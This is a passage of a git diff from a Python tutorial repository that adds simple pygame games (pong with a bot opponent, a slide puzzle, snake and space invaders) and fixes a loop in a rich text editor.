+		if self.ball.direction == "left" and self.ball.rect.centery != self.playerA.rect.centery:
+			if self.ball.rect.top <= self.playerA.rect.top:
+				if self.playerA.rect.top > 0:
+					self.playerA.move_up()
+			if self.ball.rect.bottom >= self.playerA.rect.bottom:
+				if self.playerA.rect.bottom < HEIGHT:
+					self.playerA.move_bottom()
+
+	def player_move(self):
+		keys = pygame.key.get_pressed()
+
+		# for bot opponent controls
+		self._bot_opponent()
+
+		# for player controls
+		if keys[pygame.K_UP]:
+			if self.playerB.rect.top > 0:
+				self.playerB.move_up()
+		if keys[pygame.K_DOWN]:
+			if self.playerB.rect.bottom < HEIGHT:
+				self.playerB.move_bottom()
+
+	def _show_score(self):
+		A_score, B_score = str(self.playerA.score), str(self.playerB.score)
+		A_score = self.font.render(A_score, True, self.color)
+		B_score = self.font.render(B_score, True, self.color)
+		self.screen.blit(A_score, (WIDTH // 4, 50))
+		self.screen.blit(B_score, ((WIDTH // 4) * 3, 50))
+
+	def _game_end(self):
+		if self.winner != None:
+			print(f"{self.winner} wins!!")
+			pygame.quit()
+			sys.exit()
+
+	def update(self):
+		self._show_score()
+
+		self.playerA.update(self.screen)		
+		self.playerB.update(self.screen)
+
+		self._ball_hit()
+
+		if self.playerA.score == self.score_limit:
+			self.winner = "Opponent"
+
+		elif self.playerB.score == self.score_limit:
+			self.winner = "You"
+
+		self._game_end()
+		self.ball.update(self.screen)
\ No newline at end of file
diff --git a/gui-programming/rich-text-editor/rich_text_editor.py b/gui-programming/rich-text-editor/rich_text_editor.py
index 10c14263..05259905 100644
--- a/gui-programming/rich-text-editor/rich_text_editor.py
+++ b/gui-programming/rich-text-editor/rich_text_editor.py
@@ -112,9 +112,9 @@ def fileManager(event=None, action=None):
             document['tags'][tagName] = []
 
             ranges = textArea.tag_ranges(tagName)
-
-            for i, tagRange in enumerate(ranges[::2]):
-                document['tags'][tagName].append([str(tagRange), str(ranges[i+1])])
+	
+            for i in range(0, len(ranges), 2):
+                document['tags'][tagName].append([str(ranges[i]), str(ranges[i + 1])])
 
         if not filePath:
             # ask the user for a filename with the native file explorer.
diff --git a/gui-programming/slide-puzzle/README.md b/gui-programming/slide-puzzle/README.md
new file mode 100644
index 00000000..6190805e
--- /dev/null
+++ b/gui-programming/slide-puzzle/README.md
@@ -0,0 +1 @@
+# [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python)
\ No newline at end of file
diff --git a/gui-programming/slide-puzzle/cell.py b/gui-programming/slide-puzzle/cell.py
new file mode 100644
index 00000000..0c92489a
--- /dev/null
+++ b/gui-programming/slide-puzzle/cell.py
@@ -0,0 +1,29 @@
+import pygame
+
+class Cell:
+	def __init__(self, row, col, cell_size, c_id):
+		self.row = row
+		self.col = col
+		self.cell_size = cell_size
+		self.width = self.cell_size[0]
+		self.height = self.cell_size[1]
+		self.abs_x = row * self.width
+		self.abs_y = col * self.height
+
+		self.c_id = c_id
+
+		self.rect = pygame.Rect(
+			self.abs_x,
+			self.abs_y,
+			self.width,
+			self.height
+		)
+
+		self.occupying_piece = None
+
+	def draw(self, display):
+		pygame.draw.rect(display, (0,0,0), self.rect)
+		if self.occupying_piece != None and self.occupying_piece.p_id != 8:
+			centering_rect = self.occupying_piece.img.get_rect()
+			centering_rect.center = self.rect.center
+			display.blit(self.occupying_piece.img, centering_rect.topleft)
\ No newline at end of file
diff --git a/gui-programming/slide-puzzle/frame.py b/gui-programming/slide-puzzle/frame.py
new file mode 100644
index 00000000..04647307
--- /dev/null
+++ b/gui-programming/slide-puzzle/frame.py
@@ -0,0 +1,95 @@
+import pygame
+import random
+
+from cell import Cell
+from piece import Piece
+
+class Frame:
+	def __init__(self, frame_size):
+		self.grid_size = 3
+		self.cell_width = frame_size // self.grid_size
+		self.cell_height = frame_size // self.grid_size
+		self.cell_size = (self.cell_width, self.cell_height)
+		
+		self.grid = self._generate_cell()
+		self.pieces = self._generate_piece()
+
+		self._setup()
+		self.randomize_puzzle()
+
+	def _generate_cell(self):
+		cells = []
+		c_id = 0
+		for col in range(self.grid_size):
+			new_row = []
+			for row in range(self.grid_size):
+				new_row.append(Cell(row, col, self.cell_size, c_id))
+				c_id += 1
+			cells.append(new_row)
+		return cells
+
+	def _generate_piece(self):
+		puzzle_pieces = []
+		p_id = 0
+		for col in range(self.grid_size):
+			for row in range(self.grid_size):
+				puzzle_pieces.append(Piece(self.cell_size, p_id))
+				p_id += 1
+		return puzzle_pieces
+
+	def _setup(self):
+		for row in self.grid:
+			for cell in row:
+				tile_piece = self.pieces[-1]
+				cell.occupying_piece = tile_piece
+				self.pieces.remove(tile_piece)
+
+	def randomize_puzzle(self):
+		moves = [(0, 1),(0, -1),(1, 0),(-1, 0)]
+		for i in range(30):
+			shuffle_move = random.choice(moves)
+			for row in self.grid:
+				for cell in row:
+					tile_x = self.grid.index(row) + shuffle_move[0]
+					tile_y = row.index(cell) + shuffle_move[1]
+					if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2:
+						new_cell = self.grid[tile_x][tile_y]
+						if new_cell.occupying_piece.img == None:
+							c = (cell, new_cell)
+							try:
+								c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece
+							except:
+								return False
+					else:
+						continue
+
+	def _is_move_valid(self, click):
+		moves = {
+			79: (0, 1),
+			80: (0, -1),
+			81: (1, 0),
+			82: (-1, 0)
+		}
+		for row in self.grid:
+			for cell in row:
+				move = moves[click.scancode]
+				tile_x = self.grid.index(row) + move[0]
+				tile_y = row.index(cell) + move[1]
+				if tile_x >= 0 and tile_x <= 2 and tile_y >= 0 and tile_y <= 2:
+					new_cell = self.grid[tile_x][tile_y]
+					if new_cell.occupying_piece.img == None:
+						return (cell, new_cell)
+				else:
+					continue
+
+	def handle_click(self, click):
+		c = self._is_move_valid(click)
+		try:
+			c[0].occupying_piece, c[1].occupying_piece = c[1].occupying_piece, c[0].occupying_piece
+		except:
+			return False
+
+	def draw(self, display):
+		for row in self.grid:
+			for cell in row: 
+				cell.draw(display)
diff --git a/gui-programming/slide-puzzle/game.py b/gui-programming/slide-puzzle/game.py
new file mode 100644
index 00000000..7a51e13c
--- /dev/null
+++ b/gui-programming/slide-puzzle/game.py
@@ -0,0 +1,32 @@
+import pygame
+
+pygame.font.init()
+
+class Game:
+	def __init__(self):
+		self.font = pygame.font.SysFont("Courier New", 35)
+		self.background_color = (255, 174, 66)
+		self.message_color = (17, 53, 165)
+
+	def arrow_key_clicked(self, click):
+		try:
+			if click.key == pygame.K_LEFT or click.key == pygame.K_RIGHT or click.key == pygame.K_UP or click.key == pygame.K_DOWN:
+				return(True)
+		except:
+			return(False)
+
+	def is_game_over(self, frame):
+		for row in frame.grid:
+			for cell in row:
+				piece_id = cell.occupying_piece.p_id
+				if cell.c_id == piece_id:
+					is_arranged = True
+				else:
+					is_arranged = False
+					break
+		return is_arranged
+
+	def message(self, screen):
+		screen.fill(self.background_color, (5, 460, 440, 35))
+		instructions = self.font.render('You Win!!', True, self.message_color)
+		screen.blit(instructions,(125,460))
\ No newline at end of file
diff --git a/gui-programming/slide-puzzle/main.py b/gui-programming/slide-puzzle/main.py
new file mode 100644
index 00000000..247d530e
--- /dev/null
+++ b/gui-programming/slide-puzzle/main.py
@@ -0,0 +1,59 @@
+import pygame
+
+from frame import Frame
+from game import Game
+
+pygame.init()
+pygame.font.init()
+
+class Puzzle:
+	def __init__(self, screen):
+		self.screen = screen
+		self.running = True
+		self.FPS = pygame.time.Clock()
+		self.is_arranged = False
+		self.font = pygame.font.SysFont("Courier New", 33)
+		self.background_color = (255, 174, 66)
+		self.message_color = (17, 53, 165)
+
+	def _draw(self, frame):
+		frame.draw(self.screen)
+		pygame.display.update()
+
+	def _instruction(self):
+		instructions = self.font.render('Use Arrow Keys to Move', True, self.message_color)
+		screen.blit(instructions,(5,460))
+
+	def main(self, frame_size):
+		self.screen.fill("white")
+		frame = Frame(frame_size)
+		game = Game()
+		self._instruction()
+		while self.running:
+
+			if game.is_game_over(frame):
+				self.is_arranged = True
+				game.message(self.screen)
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					self.running = False
+
+				if event.type == pygame.KEYDOWN:
+					if not self.is_arranged:
+						if game.arrow_key_clicked(event):
+							frame.handle_click(event)
+
+			self._draw(frame)
+			self.FPS.tick(30)
+	
+		pygame.quit()
+
+
+if __name__ == "__main__":
+	window_size = (450, 500)
+	screen = pygame.display.set_mode(window_size)
+	pygame.display.set_caption("Slide Puzzle")
+
+	game = Puzzle(screen)
+	game.main(window_size[0])
\ No newline at end of file
diff --git a/gui-programming/slide-puzzle/piece.py b/gui-programming/slide-puzzle/piece.py
new file mode 100644
index 00000000..b07647fc
--- /dev/null
+++ b/gui-programming/slide-puzzle/piece.py
@@ -0,0 +1,13 @@
+import pygame
+
+class Piece:
+	def __init__(self, piece_size, p_id):
+		self.piece_size = piece_size
+		self.p_id = p_id
+
+		if self.p_id != 8:
+			img_path = f'puzz-pieces/{self.p_id}.jpg'
+			self.img = pygame.image.load(img_path)
+			self.img = pygame.transform.scale(self.img, self.piece_size)
+		else:
+			self.img = None
\ No newline at end of file
diff --git a/gui-programming/slide-puzzle/puzz-pieces/0.jpg b/gui-programming/slide-puzzle/puzz-pieces/0.jpg
new file mode 100644
index 00000000..051d8315
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/0.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/1.jpg b/gui-programming/slide-puzzle/puzz-pieces/1.jpg
new file mode 100644
index 00000000..eddfd295
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/1.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/2.jpg b/gui-programming/slide-puzzle/puzz-pieces/2.jpg
new file mode 100644
index 00000000..d3d2ffa0
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/2.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/3.jpg b/gui-programming/slide-puzzle/puzz-pieces/3.jpg
new file mode 100644
index 00000000..77f61e3e
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/3.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/4.jpg b/gui-programming/slide-puzzle/puzz-pieces/4.jpg
new file mode 100644
index 00000000..592c306f
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/4.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/5.jpg b/gui-programming/slide-puzzle/puzz-pieces/5.jpg
new file mode 100644
index 00000000..0bb5ed4b
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/5.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/6.jpg b/gui-programming/slide-puzzle/puzz-pieces/6.jpg
new file mode 100644
index 00000000..d0fe5e3c
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/6.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/7.jpg b/gui-programming/slide-puzzle/puzz-pieces/7.jpg
new file mode 100644
index 00000000..99a6fa64
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/7.jpg differ
diff --git a/gui-programming/slide-puzzle/puzz-pieces/8.jpg b/gui-programming/slide-puzzle/puzz-pieces/8.jpg
new file mode 100644
index 00000000..8bc3f901
Binary files /dev/null and b/gui-programming/slide-puzzle/puzz-pieces/8.jpg differ
diff --git a/gui-programming/slide-puzzle/requirements.txt b/gui-programming/slide-puzzle/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/slide-puzzle/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/snake-game/README.md b/gui-programming/snake-game/README.md
new file mode 100644
index 00000000..6745bc0f
--- /dev/null
+++ b/gui-programming/snake-game/README.md
@@ -0,0 +1 @@
+# [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python)
\ No newline at end of file
diff --git a/gui-programming/snake-game/requirements.txt b/gui-programming/snake-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/snake-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/snake-game/snake.py b/gui-programming/snake-game/snake.py
new file mode 100644
index 00000000..b99c141f
--- /dev/null
+++ b/gui-programming/snake-game/snake.py
@@ -0,0 +1,156 @@
+import pygame
+import random
+
+# setting up some initial parameters
+WIDTH, HEIGHT = 600, 600
+BLOCK_SIZE = 20
+
+pygame.font.init()
+score_font = pygame.font.SysFont("consolas", 20)  # or any other font you'd like
+score = 0
+
+# color definition
+WHITE = (255, 255, 255)
+RED = (255, 0, 0)
+
+# initialize pygame
+pygame.init()
+
+# setting up display
+win = pygame.display.set_mode((WIDTH, HEIGHT))
+
+# setting up clock
+clock = pygame.time.Clock()
+
+# snake and food initialization
+snake_pos = [[WIDTH//2, HEIGHT//2]]
+snake_speed = [0, BLOCK_SIZE]
+
+teleport_walls = True  # set this to True to enable wall teleporting
+
+
+def generate_food():
+    while True:
+        x = random.randint(0, (WIDTH - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE
+        y = random.randint(0, (HEIGHT - BLOCK_SIZE) // BLOCK_SIZE ) * BLOCK_SIZE
+        food_pos = [x, y]
+        if food_pos not in snake_pos:
+            return food_pos
+        
+food_pos = generate_food()
+
+def draw_objects():
+    win.fill((0, 0, 0))
+    for pos in snake_pos:
+        pygame.draw.rect(win, WHITE, pygame.Rect(pos[0], pos[1], BLOCK_SIZE, BLOCK_SIZE))
+    pygame.draw.rect(win, RED, pygame.Rect(food_pos[0], food_pos[1], BLOCK_SIZE, BLOCK_SIZE))
+    # Render the score
+    score_text = score_font.render(f"Score: {score}", True, WHITE)
+    win.blit(score_text, (10, 10))  # draws the score on the top-left corner
+
+
+def update_snake():
+    global food_pos, score
+    new_head = [snake_pos[0][0] + snake_speed[0], snake_pos[0][1] + snake_speed[1]]
+    
+    if teleport_walls:
+        # if the new head position is outside of the screen, wrap it to the other side
+        if new_head[0] >= WIDTH:
+            new_head[0] = 0
+        elif new_head[0] < 0:
+            new_head[0] = WIDTH - BLOCK_SIZE
+        if new_head[1] >= HEIGHT:
+            new_head[1] = 0
+        elif new_head[1] < 0:
+            new_head[1] = HEIGHT - BLOCK_SIZE
+
+    if new_head == food_pos:
+        food_pos = generate_food() # generate new food
+        score += 1  # increment score when food is eaten
+    else:
+        snake_pos.pop() # remove the last element from the snake
+    
+    snake_pos.insert(0, new_head) # add the new head to the snake
+
+
+def game_over():
+    # game over when snake hits the boundaries or runs into itself
+    if teleport_walls:
+        return snake_pos[0] in snake_pos[1:]
+    else:
+        return snake_pos[0] in snake_pos[1:] or \
+            snake_pos[0][0] > WIDTH - BLOCK_SIZE or \
+            snake_pos[0][0] < 0 or \
+            snake_pos[0][1] > HEIGHT - BLOCK_SIZE or \
+            snake_pos[0][1] < 0
+
+
+def game_over_screen():
+    global score
+    win.fill((0, 0, 0))
+    game_over_font = pygame.font.SysFont("consolas", 50)
+    game_over_text = game_over_font.render(f"Game Over! Score: {score}", True, WHITE)
+    win.blit(game_over_text, (WIDTH // 2 - game_over_text.get_width() // 2, HEIGHT // 2 - game_over_text.get_height() // 2))
+    pygame.display.update()
+
+    while True:
+        for event in pygame.event.get():
+            if event.type == pygame.QUIT:
+                pygame.quit()
+                return
+            if event.type == pygame.KEYDOWN:
+                if event.key == pygame.K_r:
+                    run()  # replay the game
+                    return
+                elif event.key == pygame.K_q:
+                    pygame.quit()  # quit the game
+                    return
+
+
+
+def run():
+    global snake_speed, snake_pos, food_pos, score
+    snake_pos = [[WIDTH//2, HEIGHT//2]]
+    snake_speed = [0, BLOCK_SIZE]
+    food_pos = generate_food()
+    score = 0
+    running = True
+    while running:
+        for event in pygame.event.get():
+            if event.type == pygame.QUIT:
+                running = False
+            keys = pygame.key.get_pressed()
+            for key in keys:
+                if keys[pygame.K_UP]:
+                    # when UP is pressed but the snake is moving down, ignore the input
+                    if snake_speed[1] == BLOCK_SIZE:
+                        continue
+                    snake_speed = [0, -BLOCK_SIZE]
+                if keys[pygame.K_DOWN]:
+                    # when DOWN is pressed but the snake is moving up, ignore the input
+                    if snake_speed[1] == -BLOCK_SIZE:
+                        continue
+                    snake_speed = [0, BLOCK_SIZE]
+                if keys[pygame.K_LEFT]:
+                    # when LEFT is pressed but the snake is moving right, ignore the input
+                    if snake_speed[0] == BLOCK_SIZE:
+                        continue
+                    snake_speed = [-BLOCK_SIZE, 0]
+                if keys[pygame.K_RIGHT]:
+                    # when RIGHT is pressed but the snake is moving left, ignore the input
+                    if snake_speed[0] == -BLOCK_SIZE:
+                        continue
+                    snake_speed = [BLOCK_SIZE, 0]
+
+        draw_objects()
+        update_snake()
+        if game_over():
+            game_over_screen()
+            break
+        pygame.display.update()
+        clock.tick(10)
+    pygame.quit()
+
+
+if __name__ == '__main__':
+    run()
diff --git a/gui-programming/space-invaders-game/README.md b/gui-programming/space-invaders-game/README.md
new file mode 100644
index 00000000..444ff669
--- /dev/null
+++ b/gui-programming/space-invaders-game/README.md
@@ -0,0 +1 @@
+# [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python)
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/alien.py b/gui-programming/space-invaders-game/alien.py
new file mode 100644
index 00000000..62b8a09e
--- /dev/null
+++ b/gui-programming/space-invaders-game/alien.py
@@ -0,0 +1,39 @@
+import pygame
+
+from settings import BULLET_SIZE
+from bullet import Bullet
+
+class Alien(pygame.sprite.Sprite):
+	def __init__(self, pos, size, row_num):
+		super().__init__()
+		self.x = pos[0]
+		self.y = pos[1]
+
+		# alien info
+		img_path = f'assets/aliens/{row_num}.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+		self.move_speed = 5
+		self.to_direction = "right"
+
+		# alien status
+		self.bullets = pygame.sprite.GroupSingle()
+
+
+	def move_left(self):
+		self.rect.x -= self.move_speed
+
+	def move_right(self):
+		self.rect.x += self.move_speed
+
+	def move_bottom(self):
+		self.rect.y += self.move_speed
+
+	def _shoot(self):
+		specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.centery)
+		self.bullets.add(Bullet(specific_pos, BULLET_SIZE, "enemy"))
+
+	def update(self):
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/assets/aliens/0.png b/gui-programming/space-invaders-game/assets/aliens/0.png
new file mode 100644
index 00000000..b403b43e
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/0.png differ
diff --git a/gui-programming/space-invaders-game/assets/aliens/1.png b/gui-programming/space-invaders-game/assets/aliens/1.png
new file mode 100644
index 00000000..37b59d02
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/1.png differ
diff --git a/gui-programming/space-invaders-game/assets/aliens/2.png b/gui-programming/space-invaders-game/assets/aliens/2.png
new file mode 100644
index 00000000..ded6e0f8
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/aliens/2.png differ
diff --git a/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png
new file mode 100644
index 00000000..12dbfe33
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/enemy-bullet.png differ
diff --git a/gui-programming/space-invaders-game/assets/bullet/player-bullet.png b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png
new file mode 100644
index 00000000..da000f45
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/bullet/player-bullet.png differ
diff --git a/gui-programming/space-invaders-game/assets/life/life.png b/gui-programming/space-invaders-game/assets/life/life.png
new file mode 100644
index 00000000..da08d810
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/life/life.png differ
diff --git a/gui-programming/space-invaders-game/assets/ship/ship.png b/gui-programming/space-invaders-game/assets/ship/ship.png
new file mode 100644
index 00000000..e3ab8a9a
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship.png differ
diff --git a/gui-programming/space-invaders-game/assets/ship/ship1.png b/gui-programming/space-invaders-game/assets/ship/ship1.png
new file mode 100644
index 00000000..29147e82
Binary files /dev/null and b/gui-programming/space-invaders-game/assets/ship/ship1.png differ
diff --git a/gui-programming/space-invaders-game/bullet.py b/gui-programming/space-invaders-game/bullet.py
new file mode 100644
index 00000000..d782e991
--- /dev/null
+++ b/gui-programming/space-invaders-game/bullet.py
@@ -0,0 +1,34 @@
+import pygame
+from settings import BULLET_SPEED, HEIGHT
+
+class Bullet(pygame.sprite.Sprite):
+	def __init__(self, pos, size, side):
+		super().__init__()
+		self.x = pos[0]
+		self.y = pos[1]
+
+		# bullet info
+		img_path = f'assets/bullet/{side}-bullet.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+
+		# different bullet movement direction for both player and enemy (alien)
+		if side == "enemy":
+			self.move_speed = BULLET_SPEED
+		elif side == "player":
+			self.move_speed = (- BULLET_SPEED)
+
+
+	def _move_bullet(self):
+		self.rect.y += self.move_speed
+
+
+	def update(self):
+		self._move_bullet()
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
+
+		# delete the bullet if it get through out of the screen
+		if self.rect.bottom <= 0 or self.rect.top >= HEIGHT:
+			self.kill()
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/display.py b/gui-programming/space-invaders-game/display.py
new file mode 100644
index 00000000..2dd2e514
--- /dev/null
+++ b/gui-programming/space-invaders-game/display.py
@@ -0,0 +1,43 @@
+import pygame
+from settings import WIDTH, HEIGHT, SPACE, FONT_SIZE, EVENT_FONT_SIZE
+
+pygame.font.init()
+
+class Display:
+	def __init__(self, screen):
+		self.screen = screen
+		self.score_font = pygame.font.SysFont("monospace", FONT_SIZE)
+		self.level_font = pygame.font.SysFont("impact", FONT_SIZE)
+		self.event_font = pygame.font.SysFont("impact", EVENT_FONT_SIZE)
+		self.text_color = pygame.Color("blue")
+		self.event_color = pygame.Color("red")
+
+
+	def show_life(self, life):
+		life_size = 30
+		img_path = "assets/life/life.png"
+		life_image = pygame.image.load(img_path)
+		life_image = pygame.transform.scale(life_image, (life_size, life_size))
+		life_x = SPACE // 2
+
+		if life != 0:
+			for life in range(life):
+				self.screen.blit(life_image, (life_x, HEIGHT + (SPACE // 2)))
+				life_x += life_size
+
+
+	def show_score(self, score):
+		score_x = WIDTH // 3
+		score = self.score_font.render(f'score: {score}', True, self.text_color)
+		self.screen.blit(score, (score_x, (HEIGHT + (SPACE // 2))))
+
+
+	def show_level(self, level):
+		level_x = WIDTH // 3
+		level = self.level_font.render(f'Level {level}', True, self.text_color)
+		self.screen.blit(level, (level_x * 2, (HEIGHT + (SPACE // 2))))
+
+
+	def game_over_message(self):
+		message = self.event_font.render('GAME OVER!!', True, self.event_color)
+		self.screen.blit(message, ((WIDTH // 3) - (EVENT_FONT_SIZE // 2), (HEIGHT // 2) - (EVENT_FONT_SIZE // 2)))
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/main.py b/gui-programming/space-invaders-game/main.py
new file mode 100644
index 00000000..69f92c07
--- /dev/null
+++ b/gui-programming/space-invaders-game/main.py
@@ -0,0 +1,36 @@
+import pygame, sys
+from settings import WIDTH, HEIGHT, NAV_THICKNESS
+from world import World
+
+pygame.init()
+
+screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_THICKNESS))
+pygame.display.set_caption("Space Invader")
+
+class Main:
+	def __init__(self, screen):
+		self.screen = screen
+		self.FPS = pygame.time.Clock()
+
+	def main(self):
+		world = World(self.screen)
+		while True:
+			self.screen.fill("black")
+
+			for event in pygame.event.get():
+				if event.type == pygame.QUIT:
+					pygame.quit()
+					sys.exit()
+				if event.type == pygame.KEYDOWN:
+					if event.key == pygame.K_SPACE:
+						world.player_move(attack = True)
+
+			world.player_move()
+			world.update()
+			pygame.display.update()
+			self.FPS.tick(30)
+
+
+if __name__ == "__main__":
+	play = Main(screen)
+	play.main()
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/requirements.txt b/gui-programming/space-invaders-game/requirements.txt
new file mode 100644
index 00000000..231dd178
--- /dev/null
+++ b/gui-programming/space-invaders-game/requirements.txt
@@ -0,0 +1 @@
+pygame
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/settings.py b/gui-programming/space-invaders-game/settings.py
new file mode 100644
index 00000000..48e871da
--- /dev/null
+++ b/gui-programming/space-invaders-game/settings.py
@@ -0,0 +1,11 @@
+WIDTH, HEIGHT = 720, 450
+
+SPACE = 30
+FONT_SIZE = 20
+EVENT_FONT_SIZE = 60
+NAV_THICKNESS = 50
+CHARACTER_SIZE  = 30
+PLAYER_SPEED = 10
+ENEMY_SPEED = 1
+BULLET_SPEED = 15 # for both sides
+BULLET_SIZE = 10
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/ship.py b/gui-programming/space-invaders-game/ship.py
new file mode 100644
index 00000000..c5852261
--- /dev/null
+++ b/gui-programming/space-invaders-game/ship.py
@@ -0,0 +1,42 @@
+import pygame
+
+from settings import PLAYER_SPEED, BULLET_SIZE
+from bullet import Bullet
+
+class Ship(pygame.sprite.Sprite):
+	def __init__(self, pos, size):
+		super().__init__()
+		self.x = pos[0]
+		self.y = pos[1]
+
+		# ship info 
+		img_path = 'assets/ship/ship.png'
+		self.image = pygame.image.load(img_path)
+		self.image = pygame.transform.scale(self.image, (size, size))
+		self.rect = self.image.get_rect(topleft = pos)
+		self.mask = pygame.mask.from_surface(self.image)
+		self.ship_speed = PLAYER_SPEED
+
+		# ship status
+		self.life = 3
+		self.player_bullets = pygame.sprite.Group()
+
+
+	def move_left(self):
+		self.rect.x -= self.ship_speed
+
+	def move_up(self):
+		self.rect.y -= self.ship_speed
+
+	def move_right(self):
+		self.rect.x += self.ship_speed
+
+	def move_bottom(self):
+		self.rect.y += self.ship_speed
+
+	def _shoot(self):
+		specific_pos = (self.rect.centerx - (BULLET_SIZE // 2), self.rect.y)
+		self.player_bullets.add(Bullet(specific_pos, BULLET_SIZE, "player"))
+
+	def update(self):
+		self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y))
\ No newline at end of file
diff --git a/gui-programming/space-invaders-game/world.py b/gui-programming/space-invaders-game/world.py
new file mode 100644
index 00000000..216fceb8
--- /dev/null
+++ b/gui-programming/space-invaders-game/world.py
@@ -0,0 +1,182 @@
+import pygame
+from ship import Ship
+from alien import Alien
+from settings import HEIGHT, WIDTH, ENEMY_SPEED, CHARACTER_SIZE, BULLET_SIZE, NAV_THICKNESS
+from bullet import Bullet
+from display import Display
+
+class World:
+	def __init__(self, screen):
+		self.screen = screen
+
+		self.player = pygame.sprite.GroupSingle()
+		self.aliens = pygame.sprite.Group()
+		self.display = Display(self.screen)
+
+		self.game_over = False
+		self.player_score = 0
+		self.game_level = 1
+
+		self._generate_world()
+
+
+	def _generate_aliens(self):
+		# generate opponents
+		alien_cols = (WIDTH // CHARACTER_SIZE) // 2
+		alien_rows = 3
+		for y in range(alien_rows):
+			for x in range(alien_cols):
+				my_x = CHARACTER_SIZE * x
+				my_y = CHARACTER_SIZE * y
+				specific_pos = (my_x, my_y)
+				self.aliens.add(Alien(specific_pos, CHARACTER_SIZE, y))
+		
+	# create and add player to the screen
+	def _generate_world(self):
+		# create the player's ship
+		player_x, player_y = WIDTH // 2, HEIGHT - CHARACTER_SIZE
+		center_size = CHARACTER_SIZE // 2
+		player_pos = (player_x - center_size, player_y)
+		self.player.add(Ship(player_pos, CHARACTER_SIZE))
+
+		self._generate_aliens()
+
+
+	def add_additionals(self):
+		# add nav bar
+		nav = pygame.Rect(0, HEIGHT, WIDTH, NAV_THICKNESS)
+		pygame.draw.rect(self.screen, pygame.Color("gray"), nav)
+
+		# render player's life, score and game level
+		self.display.show_life(self.player.sprite.life)
+		self.display.show_score(self.player_score)
+		self.display.show_level(self.game_level)
+
+
+	def player_move(self, attack = False):
+		keys = pygame.key.get_pressed()
+
+		if keys[pygame.K_a] and not self.game_over or keys[pygame.K_LEFT] and not self.game_over:
+			if self.player.sprite.rect.left > 0:
+				self.player.sprite.move_left()
+		if keys[pygame.K_d] and not self.game_over or keys[pygame.K_RIGHT] and not self.game_over:
+			if self.player.sprite.rect.right < WIDTH:
+				self.player.sprite.move_right()
+		if keys[pygame.K_w] and not self.game_over or keys[pygame.K_UP] and not self.game_over:
+			if self.player.sprite.rect.top > 0:
+				self.player.sprite.move_up()		
+		if keys[pygame.K_s] and not self.game_over or keys[pygame.K_DOWN] and not self.game_over:
+			if self.player.sprite.rect.bottom < HEIGHT:
+				self.player.sprite.move_bottom()
+
+		# game restart button
+		if keys[pygame.K_r]:
+			self.game_over = False
+			self.player_score = 0
+			self.game_level = 1
+			for alien in self.aliens.sprites():
+				alien.kill()
+			self._generate_world()
+
+		if attack and not self.game_over:
+			self.player.sprite._shoot()
+
+
+	def _detect_collisions(self):
+		# checks if player bullet hits the enemies (aliens)
+		player_attack_collision = pygame.sprite.groupcollide(self.aliens, self.player.sprite.player_bullets, True, True)
+		if player_attack_collision:
+			self.player_score += 10
+
+		# checks if the aliens' bullet hit the player
+		for alien in self.aliens.sprites():	
+			alien_attack_collision = pygame.sprite.groupcollide(alien.bullets, self.player, True, False)
+			if alien_attack_collision:
+				self.player.sprite.life -= 1
+				break
+
+		# checks if the aliens hit the player
